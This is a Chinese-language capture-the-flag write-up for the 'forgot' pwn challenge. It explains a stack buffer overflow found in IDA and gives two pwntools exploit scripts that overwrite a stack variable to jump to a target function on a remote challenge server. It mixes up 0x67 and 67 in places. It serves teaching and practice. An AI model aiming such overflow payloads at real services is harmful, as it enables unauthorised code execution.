感觉有些wp写的不是特别详细,当时我看的时候有的地方也是看不太懂...
先拖进ida中看一下:
找到溢出点,因为我们分配给了v2 32byte的内存,但是scanf不限制长度,所以这里可以溢出。
第88行就是决定程序走向的语句了。
初步思路就是栈上的变量覆盖,在v2这里溢出,覆盖掉v3,然后让程序走到sub_80486CC:
既然我们要覆盖v3,那么根据(&v3+ --v14)我们需要让v14的值不变,因为v14 = 1则--v14 = 0,这样程序就会顺利的走到v3.
观察switch-case发现输入大写字母v14不会改变,然后直接写exp:
exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#p = process("./forgot.txt")#不在同一路径则打出路径
p = remote('220.249.52.133','58230')
p.sendline('by')#这里随便输入即可
addr=0x80486CC
payload='A'*(0x20)+p32(addr)
#这里输入小写会出错,因为输入小写字母v14变为2,这个时候覆盖v3是没有用的,因为程序已经走到v4了
#如果输入小写字母,应该再加四个字节,这样会在v4溢出
#payload='a'*(0x20)+'bbbb'+p32(addr)
p.sendline(payload)
p.interactive()
可能在搜索过程中有看到有的exp直接用'a'*0x67溢出的,这里我来解释一下:
from pwn import *
#p = process("./forgot.txt")#不在同一路径则打出路径
p = remote('220.249.52.133','58230')
system_addr = 0x80486cc
payload = 67 * 'a'#任意字符
payload += p32(system_addr)
p.sendline(payload)
p.interactive()
fgets函数会接收(n-1)个字符,那么在这道题中它将接受31个字符就会停止,剩下的36个'a'就是我们上述说的'a'*32再加4个字节(这里就是'aaaa'),同样如果换成大写就是63 * 'A'来进行溢出。
fgets函数功能为从指定的流中读取数据,每次读取一行。其原型为:char *fgets(char *str, int n, FILE *stream);从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。
总结:
在做题的时候,一定要彻底弄懂它的逻辑才行,不要直接看到exp,都不太明白就直接get flag了...